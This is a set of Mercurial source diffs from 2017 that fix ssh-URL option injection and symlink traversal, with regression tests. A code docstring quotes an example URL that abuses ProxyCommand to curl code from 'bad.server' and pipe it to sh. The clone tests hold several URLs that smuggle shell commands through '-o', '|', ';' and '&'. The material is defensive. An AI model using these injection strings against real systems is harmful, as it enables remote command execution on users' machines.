(sys.stdin, sys.stdout)
--- a/mercurial/util.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/util.py Mon Sep 18 11:51:41 2017 -0400 @@ -584,6 +584,14 @@ del self[key] super(sortdict, self).__setitem__(key, value) + if pycompat.ispypy: + # __setitem__() isn't called as of PyPy 5.8.0 + def update(self, src): + if isinstance(src, dict): + src = src.iteritems() + for k, v in src: + self[k] = v + @contextlib.contextmanager def acceptintervention(tr=None): """A context manager that closes the transaction on InterventionRequired @@ -2886,6 +2894,21 @@ def urllocalpath(path): return url(path, parsequery=False, parsefragment=False).localpath() +def checksafessh(path): + """check if a path / url is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + path = urlreq.unquote(path) + if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): + raise error.Abort(_('potentially unsafe url: %r') % + (path,)) + def hidepassword(u): '''hide user credential in a url string''' u = url(u)
--- a/mercurial/vfs.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/vfs.py Mon Sep 18 11:51:41 2017 -0400 @@ -295,8 +295,13 @@ This class is used to hide the details of COW semantics and remote file access from higher level code. + + 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or + (b) the base directory is managed by hg and considered sort-of append-only. + See pathutil.pathauditor() for details. ''' - def __init__(self, base, audit=True, expandpath=False, realpath=False): + def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, + realpath=False): if expandpath: base = util.expandpath(base) if realpath: @@ -304,7 +309,7 @@ self.base = base self._audit = audit if audit: - self.audit = pathutil.pathauditor(self.base) + self.audit = pathutil.pathauditor(self.base, cached=cacheaudited) else: self.audit = (lambda path, mode=None: True) self.createmode = None
--- a/mercurial/windows.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/windows.py Mon Sep 18 11:51:41 2017 -0400 @@ -17,6 +17,7 @@ from .i18n import _ from . import ( encoding, + error, policy, pycompat, win32, @@ -203,7 +204,14 @@ '''Build argument list for ssh or Plink''' pflag = 'plink' in sshcmd.lower() and '-P' or '-p' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s %s %s" % (args, pflag, port)) or args + if args.startswith('-') or args.startswith('/'): + raise error.Abort( + _('illegal ssh hostname or username starting with - or /: %s') % + args) + args = shellquote(args) + if port: + args = '%s %s %s' % (pflag, shellquote(port), args) + return args def setflags(f, l, x): pass
--- a/setup.py Mon Jul 31 12:18:42 2017 -0300 +++ b/setup.py Mon Sep 18 11:51:41 2017 -0400 @@ -784,11 +784,11 @@ from distutils import cygwinccompiler # the -mno-cygwin option has been deprecated for years - compiler = cygwinccompiler.Mingw32CCompiler + mingw32compilerclass = cygwinccompiler.Mingw32CCompiler class HackedMingw32CCompiler(cygwinccompiler.Mingw32CCompiler): def __init__(self, *args, **kwargs): - compiler.__init__(self, *args, **kwargs) + mingw32compilerclass.__init__(self, *args, **kwargs) for i in 'compiler compiler_so linker_exe linker_so'.split(): try: getattr(self, i).remove('-mno-cygwin') @@ -809,11 +809,11 @@ # effect. from distutils import msvccompiler - compiler = msvccompiler.MSVCCompiler + msvccompilerclass = msvccompiler.MSVCCompiler class HackedMSVCCompiler(msvccompiler.MSVCCompiler): def initialize(self): - compiler.initialize(self) + msvccompilerclass.initialize(self) # "warning LNK4197: export 'func' specified multiple times" self.ldflags_shared.append('/ignore:4197') self.ldflags_shared_debug.append('/ignore:4197')
--- a/tests/pdiff Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/pdiff Mon Sep 18 11:51:41 2017 -0400 @@ -41,6 +41,9 @@ diff -u "$file1" "$file2" | sed "s@^--- /dev/null\(.*\)\$@--- $1\1@" | sed "s@^\+\+\+ /dev/null\(.*\)\$@+++ $2\1@" + + # in this case, files differ from each other + return 1 } if test -d "$1" -o -d "$2"; then @@ -53,6 +56,14 @@ while read file; do filediff "$1/$file" "$2/$file" "diff -Nru $1/$file $2/$file" done + + # TODO: there is no portable way for current while-read based + # implementation to return 1 at detecting changes. + # + # On bash and dash, assignment to variable inside while-block + # doesn't affect outside, because inside while-block is executed + # in sub-shell. BTW, it affects outside while-block on ksh (as sh + # on Solaris). else filediff "$1" "$2" fi
--- a/tests/test-acl.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-acl.t Mon Sep 18 11:51:41 2017 -0400 @@ -883,7 +883,7 @@ added 3 changesets with 3 changes to 3 files calling hook pretxnchangegroup.acl: hgext.acl.hook acl: checking access for user "barney" - error: pretxnchangegroup.acl hook raised an exception: [Errno 2] No such file or directory: '../acl.config' + error: pretxnchangegroup.acl hook raised an exception: [Errno *] * (glob) bundle2-input-part: total payload size 1553 bundle2-input-bundle: 3 parts total transaction abort!
--- a/tests/test-audit-path.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-audit-path.t Mon Sep 18 11:51:41 2017 -0400 @@ -129,3 +129,103 @@ [255] $ cd .. + +Test symlink traversal on merge: +-------------------------------- + +#if symlink + +set up symlink hell + + $ mkdir merge-symlink-out + $ hg init merge-symlink + $ cd merge-symlink + $ touch base + $ hg commit -qAm base + $ ln -s ../merge-symlink-out a + $ hg commit -qAm 'symlink a -> ../merge-symlink-out' + $ hg up -q 0 + $ mkdir a + $ touch a/poisoned + $ hg commit -qAm 'file a/poisoned' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: file a/poisoned + | + | o 1: symlink a -> ../merge-symlink-out + |/ + o 0: base + + +try trivial merge + + $ hg up -qC 1 + $ hg merge 2 + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + +try rebase onto other revision: cache of audited paths should be discarded, +and the rebase should fail (issue5628) + + $ hg up -qC 2 + $ hg rebase -s 2 -d 1 --config extensions.rebase= + rebasing 2:e73c21d6b244 "file a/poisoned" (tip) + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + $ ls ../merge-symlink-out + + $ cd .. + +Test symlink traversal on update: +--------------------------------- + + $ mkdir update-symlink-out + $ hg init update-symlink + $ cd update-symlink + $ ln -s ../update-symlink-out a + $ hg commit -qAm 'symlink a -> ../update-symlink-out' + $ hg rm a + $ mkdir a && touch a/b + $ hg ci -qAm 'file a/b' a/b + $ hg up -qC 0 + $ hg rm a + $ mkdir a && touch a/c + $ hg ci -qAm 'rm a, file a/c' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: rm a, file a/c + | + | o 1: file a/b + |/ + o 0: symlink a -> ../update-symlink-out + + +try linear update where symlink already exists: + + $ hg up -qC 0 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + +try linear update including symlinked directory and its content: paths are +audited first by calculateupdates(), where no symlink is created so both +'a' and 'a/b' are taken as good paths. still applyupdates() should fail. + + $ hg up -qC null + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + +try branch update replacing directory with symlink, and its content: the +path 'a' is audited as a directory first, which should be audited again as +a symlink. + + $ rm -f a + $ hg up -qC 2 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + + $ cd .. + +#endif
--- a/tests/test-cache-abuse.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-cache-abuse.t Mon Sep 18 11:51:41 2017 -0400 @@ -47,21 +47,21 @@ > echo bad > $CACHE > test -z "$CLEAN" || $CLEAN > hg $CMD > after - > diff -u before after || echo "*** overwrite corruption" + > "$RUNTESTDIR/pdiff" before after || echo "*** overwrite corruption" > echo corruption >> $CACHE > test -z "$CLEAN" || $CLEAN > hg $CMD > after - > diff -u before after || echo "*** append corruption" + > "$RUNTESTDIR/pdiff" before after || echo "*** append corruption" > rm $CACHE > mkdir $CACHE > test -z "$CLEAN" || $CLEAN > hg $CMD > after - > diff -u before after || echo "*** read-only corruption" + > "$RUNTESTDIR/pdiff" before after || echo "*** read-only corruption" > test -d $CACHE || echo "*** directory clobbered" > rmdir $CACHE > test -z "$CLEAN" || $CLEAN > hg $CMD > after - > diff -u before after || echo "*** missing corruption" + > "$RUNTESTDIR/pdiff" before after || echo "*** missing corruption" > test -f $CACHE || echo "not rebuilt" > }
--- a/tests/test-clone.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-clone.t Mon Sep 18 11:51:41 2017 -0400 @@ -1097,3 +1097,66 @@ adding remote bookmark bookA updating working directory 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://fakehost|touch%20owned/path' + abort: no suitable response from remote hg! + [255] + $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' + abort: no suitable response from remote hg! + [255] + + $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' + [255] + +#if windows + $ hg clone "ssh://%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#else + $ hg clone "ssh://%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#endif + + $ hg clone "ssh://v-alid.example.com/" --debug + running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + +We should not have created a file named owned - if it exists, the +attack succeeded. + $ if test -f owned; then echo 'you got owned'; fi
--- a/tests/test-command-template.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-command-template.t Mon Sep 18 11:51:41 2017 -0400 @@ -2871,95 +2871,189 @@ No tag set: - $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n' - 5: null+5 - 4: null+4 - 3: null+3 - 2: null+3 - 1: null+2 - 0: null+1 - -One common tag: longest path wins: + $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n' + @ 5: null+5 + |\ + | o 4: null+4 + | | + | o 3: null+3 + | | + o | 2: null+3 + |/ + o 1: null+2 + | + o 0: null+1 + + +One common tag: longest path wins for {latesttagdistance}: $ hg tag -r 1 -m t1 -d '6 0' t1 - $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n' - 6: t1+4 - 5: t1+3 - 4: t1+2 - 3: t1+1 - 2: t1+1 - 1: t1+0 - 0: null+1 - -One ancestor tag: more recent wins: + $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n' + @ 6: t1+4 + | + o 5: t1+3 + |\ + | o 4: t1+2 + | | + | o 3: t1+1 + | | + o | 2: t1+1 + |/ + o 1: t1+0 + | + o 0: null+1 + + +One ancestor tag: closest wins: $ hg tag -r 2 -m t2 -d '7 0' t2 - $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n' - 7: t2+3 - 6: t2+2 - 5: t2+1 - 4: t1+2 - 3: t1+1 - 2: t2+0 - 1: t1+0 - 0: null+1 - -Two branch tags: more recent wins: + $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n' + @ 7: t2+3 + | + o 6: t2+2 + | + o 5: t2+1 + |\ + | o 4: t1+2 + | | + | o 3: t1+1 + | | + o | 2: t2+0 + |/ + o 1: t1+0 + | + o 0: null+1 + + +Two branch tags: more recent wins if same number of changes: $ hg tag -r 3 -m t3 -d '8 0' t3 - $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n' - 8: t3+5 - 7: t3+4 - 6: t3+3 - 5: t3+2 - 4: t3+1 - 3: t3+0 - 2: t2+0 - 1: t1+0 - 0: null+1 + $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n' + @ 8: t3+5 + | + o 7: t3+4 + | + o 6: t3+3 + | + o 5: t3+2 + |\ + | o 4: t3+1 + | | + | o 3: t3+0 + | | + o | 2: t2+0 + |/ + o 1: t1+0 + | + o 0: null+1 + + +Two branch tags: fewest changes wins: + + $ hg tag -r 4 -m t4 -d '4 0' t4 # older than t2, but should not matter + $ hg log -G --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n" + @ 9: t4+5,6 + | + o 8: t4+4,5 + | + o 7: t4+3,4 + | + o 6: t4+2,3 + | + o 5: t4+1,2 + |\ + | o 4: t4+0,0 + | | + | o 3: t3+0,0 + | | + o | 2: t2+0,0 + |/ + o 1: t1+0,0 + | + o 0: null+1,1 + Merged tag overrides: $ hg tag -r 5 -m t5 -d '9 0' t5 $ hg tag -r 3 -m at3 -d '10 0' at3 - $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n' - 10: t5+5 - 9: t5+4 - 8: t5+3 - 7: t5+2 - 6: t5+1 - 5: t5+0 - 4: at3:t3+1 - 3: at3:t3+0 - 2: t2+0 - 1: t1+0 - 0: null+1 - - $ hg log --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n" - 10: t5+5,5 - 9: t5+4,4 - 8: t5+3,3 - 7: t5+2,2 - 6: t5+1,1 - 5: t5+0,0 - 4: at3+1,1 t3+1,1 - 3: at3+0,0 t3+0,0 - 2: t2+0,0 - 1: t1+0,0 - 0: null+1,1 - - $ hg log --template "{rev}: {latesttag('re:^t[13]$') % '{tag}, C: {changes}, D: {distance}'}\n" - 10: t3, C: 8, D: 7 - 9: t3, C: 7, D: 6 - 8: t3, C: 6, D: 5 - 7: t3, C: 5, D: 4 - 6: t3, C: 4, D: 3 - 5: t3, C: 3, D: 2 - 4: t3, C: 1, D: 1 - 3: t3, C: 0, D: 0 - 2: t1, C: 1, D: 1 - 1: t1, C: 0, D: 0 - 0: null, C: 1, D: 1 + $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n' + @ 11: t5+6 + | + o 10: t5+5 + | + o 9: t5+4 + | + o 8: t5+3 + | + o 7: t5+2 + | + o 6: t5+1 + | + o 5: t5+0 + |\ + | o 4: t4+0 + | | + | o 3: at3:t3+0 + | | + o | 2: t2+0 + |/ + o 1: t1+0 + | + o 0: null+1 + + + $ hg log -G --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n" + @ 11: t5+6,6 + | + o 10: t5+5,5 + | + o 9: t5+4,4 + | + o 8: t5+3,3 + | + o 7: t5+2,2 + | + o 6: t5+1,1 + | + o 5: t5+0,0 + |\ + | o 4: t4+0,0 + | | + | o 3: at3+0,0 t3+0,0 + | | + o | 2: t2+0,0 + |/ + o 1: t1+0,0 + | + o 0: null+1,1 + + + $ hg log -G --template "{rev}: {latesttag('re:^t[13]$') % '{tag}, C: {changes}, D: {distance}'}\n" + @ 11: t3, C: 9, D: 8 + | + o 10: t3, C: 8, D: 7 + | + o 9: t3, C: 7, D: 6 + | + o 8: t3, C: 6, D: 5 + | + o 7: t3, C: 5, D: 4 + | + o 6: t3, C: 4, D: 3 + | + o 5: t3, C: 3, D: 2 + |\ + | o 4: t3, C: 1, D: 1 + | | + | o 3: t3, C: 0, D: 0 + | | + o | 2: t1, C: 1, D: 1 + |/ + o 1: t1, C: 0, D: 0 + | + o 0: null, C: 1, D: 1 + $ cd .. @@ -2981,7 +3075,7 @@ > EOF $ hg -R latesttag tip - test 10:9b4a630e5f5f + test 11:97e5943b523a Test recursive showlist template (issue1989): @@ -2994,7 +3088,7 @@ $ hg -R latesttag log -r tip --style=style1989 M|test - 10,test + 11,test branch: test Test new-style inline templating: @@ -3027,6 +3121,7 @@ $ hg log -R latesttag --template '{desc}\n' at3 t5 + t4 t3 t2 t1 @@ -3040,6 +3135,7 @@ $ hg log -R latesttag --template '{strip(desc, "te")}\n' at3 5 + 4 3 2 1 @@ -3055,6 +3151,7 @@ $ hg log -R latesttag --template 'date: {date(date, "%y %m %d %S %z")}\n' date: 70 01 01 10 +0000 date: 70 01 01 09 +0000 + date: 70 01 01 04 +0000 date: 70 01 01 08 +0000 date: 70 01 01 07 +0000 date: 70 01 01 06 +0000
--- a/tests/test-commandserver.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-commandserver.t Mon Sep 18 11:51:41 2017 -0400 @@ -234,7 +234,9 @@ *** runcommand --config hooks.pre-identify=python:hook.hook id eff892de26ec tip +Clean hook cached version $ rm hook.py* + $ rm -Rf __pycache__ $ echo a >> a >>> import os @@ -906,3 +908,80 @@ *** runcommand log 0 bar (bar) *** runcommand verify -q + + $ cd .. + +Test symlink traversal over cached audited paths: +------------------------------------------------- + +#if symlink + +set up symlink hell + + $ mkdir merge-symlink-out + $ hg init merge-symlink + $ cd merge-symlink + $ touch base + $ hg commit -qAm base + $ ln -s ../merge-symlink-out a + $ hg commit -qAm 'symlink a -> ../merge-symlink-out' + $ hg up -q 0 + $ mkdir a + $ touch a/poisoned + $ hg commit -qAm 'file a/poisoned' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: file a/poisoned + | + | o 1: symlink a -> ../merge-symlink-out + |/ + o 0: base + + +try trivial merge after update: cache of audited paths should be discarded, +and the merge should fail (issue5628) + + $ hg up -q null + >>> from hgclient import readchannel, runcommand, check + >>> @check + ... def merge(server): + ... readchannel(server) + ... # audit a/poisoned as a good path + ... runcommand(server, ['up', '-qC', '2']) + ... runcommand(server, ['up', '-qC', '1']) + ... # here a is a symlink, so a/poisoned is bad + ... runcommand(server, ['merge', '2']) + *** runcommand up -qC 2 + *** runcommand up -qC 1 + *** runcommand merge 2 + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + $ ls ../merge-symlink-out + +cache of repo.auditor should be discarded, so matcher would never traverse +symlinks: + + $ hg up -qC 0 + $ touch ../merge-symlink-out/poisoned + >>> from hgclient import readchannel, runcommand, check + >>> @check + ... def files(server): + ... readchannel(server) + ... runcommand(server, ['up', '-qC', '2']) + ... # audit a/poisoned as a good path + ... runcommand(server, ['files', 'a/poisoned']) + ... runcommand(server, ['up', '-qC', '0']) + ... runcommand(server, ['up', '-qC', '1']) + ... # here 'a' is a symlink, so a/poisoned should be warned + ... runcommand(server, ['files', 'a/poisoned']) + *** runcommand up -qC 2 + *** runcommand files a/poisoned + a/poisoned + *** runcommand up -qC 0 + *** runcommand up -qC 1 + *** runcommand files a/poisoned + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + + $ cd .. + +#endif
--- a/tests/test-commit.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-commit.t Mon Sep 18 11:51:41 2017 -0400 @@ -135,12 +135,30 @@ $ hg commit -m "adding internal used extras" --extra amend_source=hash abort: key 'amend_source' is used internally, can't be set manually [255] + $ hg commit -m "special chars in extra" --extra id@phab=214 + abort: keys can only contain ascii letters, digits, '_' and '-' + [255] + $ hg commit -m "empty key" --extra =value + abort: unable to parse '=value', keys can't be empty + [255] $ hg commit -m "adding extras" --extra sourcehash=foo --extra oldhash=bar $ hg log -r . -T '{extras % "{extra}\n"}' branch=default oldhash=bar sourcehash=foo +Failed commit with --addremove should not update dirstate + + $ echo foo > newfile + $ hg status + ? newfile + $ HGEDITOR=false hg ci --addremove + adding newfile + abort: edit failed: false exited with status 1 + [255] + $ hg status + ? newfile + Make sure we do not obscure unknown requires file entries (issue2649) $ echo foo >> foo
--- a/tests/test-context.py Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-context.py Mon Sep 18 11:51:41 2017 -0400 @@ -24,11 +24,10 @@ repo[None].add(['foo']) repo.commit(text='commit1', date="0 0") +d = repo[None]['foo'].date() if os.name == 'nt': - d = repo[None]['foo'].date() - print("workingfilectx.date = (%d, %d)" % (d[0], d[1])) -else: - print("workingfilectx.date =", repo[None]['foo'].date()) + d = d[:2] +print("workingfilectx.date = (%d, %d)" % d) # test memctx with non-ASCII commit message
--- a/tests/test-devel-warnings.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-devel-warnings.t Mon Sep 18 11:51:41 2017 -0400 @@ -129,7 +129,7 @@ $ hg commit -m a $ hg stripintr 2>&1 | egrep -v '^(\*\*| )' Traceback (most recent call last): - mercurial.error.ProgrammingError: cannot strip from inside a transaction + *ProgrammingError: cannot strip from inside a transaction (glob) $ hg oldanddeprecated devel-warn: foorbar is deprecated, go shopping @@ -187,7 +187,7 @@ ** Extensions loaded: * (glob) ** ProgrammingError: transaction requires locking Traceback (most recent call last): - mercurial.error.ProgrammingError: transaction requires locking + *ProgrammingError: transaction requires locking (glob) $ hg programmingerror 2>&1 | egrep -v '^ ' ** Unknown exception encountered with possibly-broken third-party extension buggylocking @@ -200,7 +200,7 @@ ** ProgrammingError: something went wrong ** (try again) Traceback (most recent call last): - mercurial.error.ProgrammingError: something went wrong + *ProgrammingError: something went wrong (glob) Old style deprecation warning
--- a/tests/test-extdiff.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-extdiff.t Mon Sep 18 11:51:41 2017 -0400 @@ -263,8 +263,16 @@ will change to /tmp/extdiff.TMP and populate directories a.TMP and a and start tool +#if windows + $ cat > 'diff tool.bat' << EOF + > @$PYTHON "`pwd`/diff tool.py" + > EOF + $ hg extdiff -p "`pwd`/diff tool.bat" + [1] +#else $ hg extdiff -p "`pwd`/diff tool.py" [1] +#endif Diff in working directory, after:
--- a/tests/test-extension.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-extension.t Mon Sep 18 11:51:41 2017 -0400 @@ -245,6 +245,7 @@ #if no-py3k $ rm "$TESTTMP"/extroot/foo.* + $ rm -Rf "$TESTTMP/extroot/__pycache__" $ cat > $TESTTMP/extroot/foo.py <<EOF > # test relative import > buf = [] @@ -1238,6 +1239,7 @@ If the extension specifies a buglink, show that: $ echo 'buglink = "http://example.com/bts"' >> throw.py $ rm -f throw.pyc throw.pyo + $ rm -Rf __pycache__ $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*' ** Unknown exception encountered with possibly-broken third-party extension throw ** which supports versions unknown of Mercurial. @@ -1253,6 +1255,7 @@ $ echo "testedwith = '1.9.3'" >> older.py $ echo "testedwith = '2.1.1'" >> throw.py $ rm -f throw.pyc throw.pyo + $ rm -Rf __pycache__ $ hg --config extensions.throw=throw.py --config extensions.older=older.py \ > throw 2>&1 | egrep '^\*\*' ** Unknown exception encountered with possibly-broken third-party extension older @@ -1266,6 +1269,7 @@ One extension only tested with older, one only with newer versions: $ echo "util.version = lambda:'2.1'" >> older.py $ rm -f older.pyc older.pyo + $ rm -Rf __pycache__ $ hg --config extensions.throw=throw.py --config extensions.older=older.py \ > throw 2>&1 | egrep '^\*\*' ** Unknown exception encountered with possibly-broken third-party extension older @@ -1279,6 +1283,7 @@ Older extension is tested with current version, the other only with newer: $ echo "util.version = lambda:'1.9.3'" >> older.py $ rm -f older.pyc older.pyo + $ rm -Rf __pycache__ $ hg --config extensions.throw=throw.py --config extensions.older=older.py \ > throw 2>&1 | egrep '^\*\*' ** Unknown exception encountered with possibly-broken third-party extension throw @@ -1305,6 +1310,7 @@ > echo "unable to fetch a mercurial version. Make sure __version__ is correct"; > fi $ rm -f throw.pyc throw.pyo + $ rm -Rf __pycache__ $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*' ** unknown exception encountered, please report by visiting ** https://mercurial-scm.org/wiki/BugTracker @@ -1316,6 +1322,7 @@ $ echo "testedwith = '3.2'" >> throw.py $ echo "util.version = lambda:'3.2.2'" >> throw.py $ rm -f throw.pyc throw.pyo + $ rm -Rf __pycache__ $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*' ** unknown exception encountered, please report by visiting ** https://mercurial-scm.org/wiki/BugTracker @@ -1326,6 +1333,7 @@ Test version number support in 'hg version': $ echo '__version__ = (1, 2, 3)' >> throw.py $ rm -f throw.pyc throw.pyo + $ rm -Rf __pycache__ $ hg version -v Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) @@ -1350,6 +1358,7 @@ throw external 1.2.3 $ echo 'getversion = lambda: "1.twentythree"' >> throw.py $ rm -f throw.pyc throw.pyo + $ rm -Rf __pycache__ $ hg version -v --config extensions.throw=throw.py --config extensions.strip= Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) @@ -1674,7 +1683,7 @@ Even though the extension fails during uisetup, hg is still basically usable: $ hg version - *** failed to set up extension baduisetup: No module named bdiff + \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re) Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) @@ -1696,8 +1705,8 @@ mod = _hgextimport(_origimport, head, globals, locals, None, level) File "*/hgdemandimport/demandimportpy2.py", line *, in _hgextimport (glob) return importfunc(name, globals, *args, **kwargs) - ImportError: No module named bdiff - *** failed to set up extension baduisetup: No module named bdiff + ImportError: No module named (mercurial\.)?bdiff (re) + \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re) Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information)
--- a/tests/test-flagprocessor.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-flagprocessor.t Mon Sep 18 11:51:41 2017 -0400 @@ -152,6 +152,7 @@ $ hg commit -Aqm 'fail+base64+gzip+noop' abort: missing processor for flag '0x1'! [255] + $ rm fail-base64-gzip-noop # TEST: ensure we cannot register several flag processors on the same flag $ cat >> .hg/hgrc << EOF @@ -159,11 +160,11 @@ > extension=$TESTDIR/flagprocessorext.py > duplicate=$TESTDIR/flagprocessorext.py > EOF - $ echo 'this should fail' > file - $ hg commit -Aqm 'add file' + $ hg debugrebuilddirstate *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'. - abort: missing processor for flag '0x1'! - [255] + $ hg st 2>&1 | egrep 'cannot register multiple processors|flagprocessorext' + *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'. + File "*/tests/flagprocessorext.py", line *, in b64decode (glob) $ cd ..
--- a/tests/test-fncache.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-fncache.t Mon Sep 18 11:51:41 2017 -0400 @@ -270,7 +270,11 @@ > cmdtable = {} > > EOF + +Clean cached version $ rm -f "${extpath}c" + $ rm -Rf "`dirname $extpath`/__pycache__" + $ touch z $ hg ci -qAm z transaction abort! @@ -305,7 +309,11 @@ > cmdtable = {} > > EOF + +Clean cached versions $ rm -f "${extpath}c" + $ rm -Rf "`dirname $extpath`/__pycache__" + $ hg up -q 1 $ touch z $ hg ci -qAm z 2>/dev/null
--- a/tests/test-mq-git.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-mq-git.t Mon Sep 18 11:51:41 2017 -0400 @@ -208,5 +208,62 @@ @@ -0,0 +1,1 @@ +a +Test how [diff] configuration influence and cause invalid or lossy patches: + + $ cat <<EOF >> .hg/hgrc + > [mq] + > git = AUTO + > [diff] + > nobinary = True + > noprefix = True + > showfunc = True + > ignorews = True + > ignorewsamount = True + > ignoreblanklines = True + > unified = 1 + > EOF + + $ echo ' a' > a + $ hg qnew prepare -d '0 0' + $ echo ' a' > a + $ printf '\0' > b + $ echo >> c + $ hg qnew diff -d '0 0' + + $ cat .hg/patches/prepare + # HG changeset patch + # Date 0 0 + # Parent cf0bfe72686a47d8d7d7b4529a3adb8b0b449a9f + + diff -r cf0bfe72686a -r fb9c4422b0f3 a + --- a/a + +++ b/a + @@ -1,1 +1,1 @@ + -a + + a + $ cat .hg/patches/diff + # HG changeset patch + # Date 0 0 + # Parent fb9c4422b0f37dd576522dd9a3f99b825c177efe + + diff --git a/a b/a + --- a/a + +++ b/a + @@ -1,1 +1,1 @@ + - a + + a + diff --git a/b b/b + index 78981922613b2afb6025042ff6bd878ac1994e85..f76dd238ade08917e6712764a16a22005a50573d + GIT binary patch + literal 1 + Ic${MZ000310RR91 + + diff --git a/c b/c + --- a/c + +++ b/c + @@ -1,1 +1,2 @@ + a + + + $ cd ..
--- a/tests/test-pager.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-pager.t Mon Sep 18 11:51:41 2017 -0400 @@ -80,6 +80,34 @@ paged! 'summary: modify a 10\n' paged! '\n' +explicit --pager=on should take precedence over other configurations +(issue5580) + + $ cat >> $HGRCPATH <<EOF + > [ui] + > paginate = false + > EOF + $ hg log --limit 1 --pager=on + paged! 'changeset: 10:46106edeeb38\n' + paged! 'tag: tip\n' + paged! 'user: test\n' + paged! 'date: Thu Jan 01 00:00:00 1970 +0000\n' + paged! 'summary: modify a 10\n' + paged! '\n' + + $ cat >> $HGRCPATH <<EOF + > [ui] + > # true is default value of ui.paginate + > paginate = true + > EOF + $ hg log --limit 1 --pager=off + changeset: 10:46106edeeb38 + tag: tip + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: modify a 10 + + We can enable the pager on id: BROKEN: should be paged
